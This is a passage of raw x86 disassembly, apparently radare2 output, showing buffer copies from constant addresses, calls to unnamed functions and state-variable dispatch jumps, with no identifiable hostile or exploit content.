mov edx, dword [ebp - 0x128]
mov ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [0x101d4a24]
lea ecx, str._s_napat
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100938b0
mov ecx, dword [ebp - 0x128]
add esp, 0xc
lea eax, [0x101ca8ba]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b7f74
mov ecx, dword [ebp - 0x124]
add esp, 8
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0x21cff5a4
jmp 0x1010b712
mov esi, dword [ebp - 0x8c]
mov edi, dword [ebp - 0x90]
mov ebx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov edx, dword [str.t_rMI]
mov dword [eax], edx
mov dl, byte [0x101cf7d8]
mov byte [eax + 4], dl
lea eax, [0x101cf7a0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x12
call fcn.101b3700
mov eax, dword [ebp - 0x98]
mov edx, dword [ebp - 0x88]
add esp, 0xc
mov ecx, dword [0x101cf850]
mov dword [eax], ecx
mov ecx, dword [0x101cf854]
mov dword [eax + 4], ecx
mov cx, word [0x101cf858]
mov word [eax + 8], cx
mov ecx, dword [ebp - 0x80]
mov eax, dword [0x101cf7bf]
mov dword [ebx], eax
mov eax, dword [0x101cf7c3]
mov dword [ebx + 4], eax
mov eax, dword [0x101cf7c7]
mov dword [ebx + 8], eax
mov eax, dword [0x101cf7cb]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp - 0x84]
mov ebx, dword [0x101cf87e]
mov dword [edi], ebx
mov ebx, dword [0x101cf882]
mov dword [edi + 4], ebx
mov bx, word [0x101cf886]
mov word [edi + 8], bx
mov edi, dword [0x101cf893]
mov dword [esi], edi
mov edi, dword [0x101cf897]
mov dword [esi + 4], edi
mov edi, dword [0x101cf89b]
mov dword [esi + 8], edi
mov bl, byte [0x101cf89f]
mov byte [esi + 0xc], bl
mov esi, dword [0x101cf7e1]
mov dword [edx], esi
mov esi, dword [0x101cf7e5]
mov dword [edx + 4], esi
mov esi, dword [0x101cf7e9]
mov dword [edx + 8], esi
mov edx, dword [0x101cf867]
mov dword [eax], edx
mov edx, dword [0x101cf86b]
mov dword [eax + 4], edx
mov edx, dword [0x101cf86f]
mov dword [eax + 8], edx
mov dl, byte [0x101cf873]
mov byte [eax + 0xc], dl
lea eax, [0x101cf830]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x19
call fcn.101b3700
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov edx, dword [0x101cf7f9]
mov dword [ecx], edx
mov edx, dword [0x101cf7fd]
mov dword [ecx + 4], edx
mov edx, dword [0x101cf801]
mov dword [ecx + 8], edx
mov dx, word [0x101cf805]
mov word [ecx + 0xc], dx
mov dword [eax], 0xe77a3949
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xb9c4966
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x101d4c98]
mov dword [eax], 0xba31188c
jmp 0x1010356c